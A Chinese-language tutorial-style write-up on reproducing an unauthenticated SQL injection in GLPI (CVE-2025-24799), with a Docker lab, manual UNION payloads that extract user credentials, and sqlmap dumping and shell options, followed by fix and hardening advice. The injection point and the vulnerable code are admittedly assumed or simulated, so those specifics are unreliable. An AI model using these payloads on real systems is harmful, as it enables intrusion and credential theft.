
1. 项目概述一次对GLPI未授权SQL注入漏洞的深度剖析最近在安全研究圈里GLPI的CVE-2025-24799这个漏洞引起了不小的讨论。GLPI作为一个开源的IT资产管理和服务台解决方案在企业内部应用广泛一旦出现未授权访问的SQL注入漏洞其潜在危害不言而喻。简单来说这个漏洞允许攻击者在无需任何身份认证的情况下通过构造特定的请求向GLPI的数据库注入恶意SQL代码从而可能窃取、篡改或删除核心数据。这不仅仅是“又一个SQL注入”其“未授权”的特性意味着攻击门槛极低任何一个能访问到GLPI登录页面的外部人员都可能成为攻击者。今天我就结合自己的复现过程把这个漏洞的来龙去脉、技术细节、复现手法以及更深层次的防御思考掰开揉碎了和大家聊聊。无论你是负责企业安全运维的工程师还是对Web安全感兴趣的研究者理解这个案例都能帮你更好地认识现代应用中的安全风险。2. 漏洞背景与核心原理拆解2.1 GLPI与漏洞的关联性GLPI是一个功能强大的IT服务管理ITSM工具用于跟踪资产、管理工单和处理IT服务请求。正因为其管理着企业的核心IT资产数据、用户信息、工单内容等敏感信息它自然成为了攻击者眼中的高价值目标。CVE-2025-24799这个漏洞编号指向2025年说明这是一个较新的安全威胁安全社区和厂商对其的修复与利用研究都处于活跃期。未授权漏洞的可怕之处在于它绕过了应用的第一道防线——身份认证。想象一下你家的大门登录页面对所有人敞开而攻击者不需要钥匙账号密码就能直接进入客厅应用功能点并找到保险箱的密码数据库这是多么危险的情景。2.2 SQL注入漏洞的本质与“未授权”的叠加SQL注入的原理大家都不陌生应用程序将用户输入的数据未经充分过滤或转义直接拼接到了SQL查询语句中执行。攻击者通过精心构造的输入改变了原有查询的逻辑。而“未授权”是这个漏洞的放大器。通常一个需要认证的SQL注入攻击者至少需要先获取一个有效账户这增加了一定的攻击成本。但CVE-2025-24799的利用点位于一个无需登录即可访问的接口或页面可能是忘记密码、公开API、特定的插件端点甚至是登录逻辑本身的一个盲点。这种设计或实现上的疏忽使得漏洞的利用路径变得笔直风险等级陡增。注意在进行任何安全测试之前必须获得目标系统的明确授权。本文所有操作均在本地搭建的、隔离的测试环境中进行旨在教育和技术分享严禁用于未授权的测试或攻击。2.3 漏洞影响范围初步评估受此漏洞影响的GLPI版本通常是一个特定的范围例如10.x的某个子版本。在复现前我们需要明确漏洞存在的版本。根据公开信息该漏洞可能影响GLPI 10.0.0至10.0.x的某些版本。影响的直接后果包括数据库信息泄露获取数据库中的用户名、密码哈希、邮箱、资产信息等。身份认证绕过通过注入修改查询逻辑可能实现无需密码登录特定账户。数据篡改与破坏修改工单状态、删除资产记录甚至植入后门。服务器沦陷在特定配置下通过SQL注入可能进一步利用数据库的文件读写功能或命令执行功能获取服务器权限。3. 靶场环境搭建与工具准备3.1 搭建漏洞复现环境为了安全、可控地研究这个漏洞我们需要在本地搭建一个包含漏洞版本的GLPI环境。最便捷的方式是使用Docker。拉取特定版本的GLPI镜像我们需要一个明确存在漏洞的版本。假设漏洞存在于GLPI 10.0.2。docker pull glpi/glpi:10.0.2如果官方镜像没有该标签你可能需要从GitHub拉取源码并手动构建或者寻找社区维护的历史版本镜像。启动GLPI容器并链接数据库GLPI需要MySQL或MariaDB作为后端。# 启动一个MySQL数据库容器 docker run --name glpi-mysql -e MYSQL_ROOT_PASSWORDrootpassword -e MYSQL_DATABASEglpidb -e MYSQL_USERglpi_user -e MYSQL_PASSWORDglpi_password -d mysql:5.7 # 启动GLPI容器并链接到数据库 docker run --name glpi --link glpi-mysql:mysql -p 8080:80 -d glpi/glpi:10.0.2这里将主机的8080端口映射到容器的80端口。稍后我们通过http://localhost:8080访问GLPI的安装页面。完成Web安装向导访问http://localhost:8080按照页面提示进行安装。在数据库配置环节使用以下信息数据库服务器mysql(这是Docker容器链接的主机名)数据库名glpidb用户名glpi_user密码glpi_password安装完成后建议暂时不要创建管理员账户以保持“未授权”的初始状态进行测试。3.2 必备工具清单工欲善其事必先利其器。复现和分析此类漏洞以下几样工具必不可少拦截与重放工具Burp Suite Community/Professional是首选。用于拦截浏览器发送的HTTP请求修改参数进行注入测试并观察响应。它的Repeater模块是手动测试的利器。漏洞利用辅助工具sqlmap。这是一个自动化的SQL注入检测与利用工具。在手动验证漏洞存在后可以用它来高效地提取数据。但切记理解手动过程远比依赖工具更重要。浏览器与开发者工具现代浏览器Chrome/Firefox自带的开发者工具F12是基础用于观察页面结构、网络请求和初步的JavaScript调试。文本编辑器与笔记工具用于记录请求包、Payload、测试结果和思考过程。保持清晰的记录是高效研究的关键。实操心得在Docker环境中测试时可以随时通过docker stop和docker start来重置环境状态非常方便。建议在测试前对数据库进行备份 (docker exec执行mysqldump)以便在误操作后快速恢复。4. 漏洞定位与手动利用过程详解4.1 寻找未授权入口点这是最关键的一步。我们需要找到那个在未登录状态下可以访问并且参数会被带入数据库查询的页面。常见的位置包括登录页面 (/index.php) 本身或其背后的认证逻辑。忘记密码页面 (/front/lostpassword.php)。公开的日历、知识库或资产查询接口。某些插件提供的无需认证的API端点。方法使用浏览器以无痕模式确保无登录Cookie访问GLPI同时打开Burp Suite并设置好代理。然后我们系统地浏览所有看似“公开”的页面并观察Burp Suite的Proxy历史记录。重点关注GET请求的URL参数和POST请求的Body参数。假设通过分析我们发现漏洞位于/front/calendar.php的id参数。即使未登录访问http://localhost:8080/front/calendar.php?id1也能返回一个日历视图的页面虽然可能显示不完整但HTTP状态码是200。4.2 手动注入测试与验证现在我们开始对id参数进行手动SQL注入测试。基础探测首先判断参数是否被数据库处理。发送请求id1发送请求id1(添加一个单引号) 观察两次请求的响应差异。如果第二次请求返回了数据库错误如SQL syntax error或者页面布局/内容发生了明显变化则强烈表明存在SQL注入点。错误信息可能直接暴露数据库类型如MySQL。判断注入类型与闭合方式如果id1报错而id1 --(注释掉后续SQL) 页面恢复正常说明是字符型注入且原始查询大概像是SELECT ... FROM ... WHERE id$id ...。我们需要用单引号闭合前面的引号并用--注意后面有个空格注释掉后面的内容。利用Union查询探测信息Union注入是获取数据最直接的方式之一。前提是我们需要知道查询返回的列数。判断列数使用ORDER BY子句。id1 ORDER BY 1 -- id1 ORDER BY 5 -- id1 ORDER BY 10 --不断增加数字直到页面报错。假设ORDER BY 5成功而ORDER BY 6报错则说明原查询返回5列。构造Union查询确认列数后我们需要让Union前后的列数一致并找到在页面上可见的列。id-1 UNION SELECT 1,2,3,4,5 --这里将原查询的id设置为一个不存在的值如-1使得Union的结果能够显示出来。观察页面看数字“1”、“2”、“3”等哪个位置被回显到了页面上。假设数字“2”和“4”的位置显示了“2”和“4”说明这两个位置可以用来输出我们想要的信息。提取关键数据利用可回显的位置替换Union查询中的对应列。获取当前数据库名和用户id-1 UNION SELECT 1, database(), user(), 4, 5 --这样database()和user()的结果就会显示在原本是“2”和“3”的位置。获取数据库中的表名MySQL中information_schema.tables存储了元数据。id-1 UNION SELECT 1, table_name, 3, 4, 5 FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1 --通过修改LIMIT子句的偏移量如LIMIT 1,1LIMIT 2,1可以逐个获取所有表名。重点关注glpi_users用户表、glpi_configs配置表等。获取表结构字段名知道了表名例如glpi_users就可以查它的字段。id-1 UNION SELECT 1, column_name, 3, 4, 5 FROM information_schema.columns WHERE table_schemadatabase() AND table_nameglpi_users LIMIT 0,1 --最终提取用户凭证假设我们知道了glpi_users表有name,password字段。id-1 UNION SELECT 1, name, password, 4, 5 FROM glpi_users LIMIT 0,1 --这样我们就在页面上看到了第一个用户的登录名和密码哈希值。注意事项GLPI的密码默认使用哈希算法可能是MD5或更安全的如bcrypt存储。获取到哈希值后并不能直接登录还需要进行破解对于弱密码或寻找其他利用方式比如在登录逻辑中可能存在直接比较哈希值的注入点从而实现认证绕过。这就是另一个需要深入挖掘的方向了。5. 使用sqlmap进行自动化验证与利用手动验证成功后我们可以使用sqlmap来更高效、更全面地验证漏洞并提取数据。这能帮助我们确认漏洞的普遍性和严重性。基本检测将Burp Suite中捕获到的含有id参数的请求保存到一个文件如request.txt。然后使用sqlmap进行检测。sqlmap -r request.txt --batch-r参数表示从文件读取HTTP请求--batch表示以非交互模式运行自动选择默认选项。sqlmap会自动识别参数、数据库类型并尝试各种注入技术。枚举信息如果检测到注入点可以开始枚举信息。# 获取当前数据库名 sqlmap -r request.txt --current-db --batch # 获取所有表名 sqlmap -r request.txt -D glpi --tables --batch # 获取指定表glpi_users的所有列名 sqlmap -r request.txt -D glpi -T glpi_users --columns --batch # 导出指定表的数据 sqlmap -r request.txt -D glpi -T glpi_users --dump --batch通过这一系列命令sqlmap会自动化地完成我们手动执行的步骤并将结果保存到本地。高级利用sqlmap还支持许多高级功能如--os-shell: 尝试获取操作系统的shell需要数据库有高权限且配置不当。--file-read: 读取服务器上的文件。--sql-query: 执行自定义的SQL语句。但这些操作风险极高在测试环境中也需谨慎评估避免对测试数据库造成不可逆的破坏。实操心得虽然sqlmap强大但它发出的请求特征明显容易被WAFWeb应用防火墙拦截。在实际的授权渗透测试中往往需要结合手动测试和sqlmap的--tamper脚本篡改Payload来绕过防护。对于CVE-2025-24799的研究手动理解其原理是核心工具只是辅助验证和提升效率的手段。6. 漏洞根因分析与代码审计视角仅仅复现利用还不够作为一名安全研究者我们有必要深入代码层面理解漏洞产生的根本原因。这有助于我们举一反三发现同类问题。定位漏洞代码根据漏洞描述和利用点/front/calendar.php的id参数我们需要查看GLPI对应版本的源代码。在GLPI源码中查找calendar.php。追踪id参数的获取过程通常是通过$_GET[‘id’]或$_REQUEST[‘id’]。关键点是看这个参数是否被直接传递到了SQL查询函数中而没有经过充分的过滤或使用预处理语句。分析脆弱代码模式我们可能会发现类似下面的代码片段此为模拟示例非真实漏洞代码// /front/calendar.php 中的部分代码 $id $_GET[‘id’]; $query “SELECT * FROM glpi_calendars WHERE id’$id’ AND is_active1”; $result $DB-query($query);这是最经典的SQL注入模式用户输入$id直接拼接进SQL字符串。修复方案是使用参数化查询预处理语句$query “SELECT * FROM glpi_calendars WHERE id? AND is_active1”; $stmt $DB-prepare($query); $stmt-bind_param(“i”, $id); // “i” 表示整数类型 $stmt-execute(); $result $stmt-get_result();或者如果框架或GLPI自身有封装好的查询方法应使用那些支持参数绑定的方法。“未授权”的根源代码审计还需要检查calendar.php或其他漏洞文件的访问控制逻辑。是否存在类似以下的缺失// 文件开头缺少必要的权限检查 // 例如Session::checkRight(“calendar”, READ) 或 Session::getLoginUserID() 检查一个需要认证才能访问的功能因为遗漏了这行检查变成了公开页面。7. 修复建议与安全加固对于使用GLPI的管理员和安全开发者了解如何修复和防御至关重要。立即升级最有效、最根本的措施是升级到GLPI官方已修复该漏洞的最新版本。关注GLPI的安全公告及时应用安全补丁。临时缓解措施如果无法立即升级可以考虑Web应用防火墙WAF部署WAF配置规则拦截针对可疑SQL关键词和特殊字符的请求。网络访问控制严格限制GLPI管理后台的访问来源IP仅允许运维IP段访问。修改代码如果具备能力可以手动定位并修复漏洞文件。将直接拼接的查询改为使用预处理语句并在文件开头添加严格的权限验证。但此法需谨慎可能引入新问题且升级时会被覆盖。开发安全规范强制使用预处理语句在所有数据库操作中禁止字符串拼接强制使用参数化查询。实施最小权限原则数据库连接账户不应使用root应仅为应用分配所需的最小权限。输入验证与过滤对所有用户输入进行严格的类型检查、长度限制和合法性验证。全面的访问控制对每一个需要权限的脚本在入口处进行明确的会话和权限校验杜绝“默认允许”的心态。安全开发生命周期SDL将代码安全审计、渗透测试作为发布前的必要环节。8. 从漏洞复现到防御思维的延伸复现CVE-2025-24799这样的漏洞绝不仅仅是一次“炫技”。它给我们带来了更深层次的启示安全是一个持续的过程没有一劳永逸的安全。即使像GLPI这样成熟的开源项目也会不断出现新的漏洞。需要建立持续的漏洞监控、评估和响应机制。默认安全与纵深防御软件设计应遵循“默认拒绝”原则。对于Web应用所有功能点默认都应需要认证只有明确公开的部分才允许未授权访问。同时结合WAF、严格的数据库权限、网络隔离等多层防御即使一层被突破还有其他层提供保护。威胁建模的重要性对于GLPI这样的系统在架构设计阶段就应该识别出“未授权接口”和“用户输入到数据库查询”这两个关键的数据流并对其进行重点防护和审计。安全社区的价值正是通过安全研究者和厂商的共同努力漏洞才能被及时发现、披露和修复。积极参与安全社区关注漏洞动态是每一位安全从业者的必修课。这次对CVE-2025-24799的复现与分析就像一次细致的外科手术让我们看清了漏洞的肌理。它再次印证了那些古老的安全原则在当今依然有效不信任任何用户输入为所有功能实施明确的访问控制。在实际工作中无论是开发新功能还是维护老系统把这些原则刻在脑子里落实到代码和配置中才能构筑起真正有效的安全防线。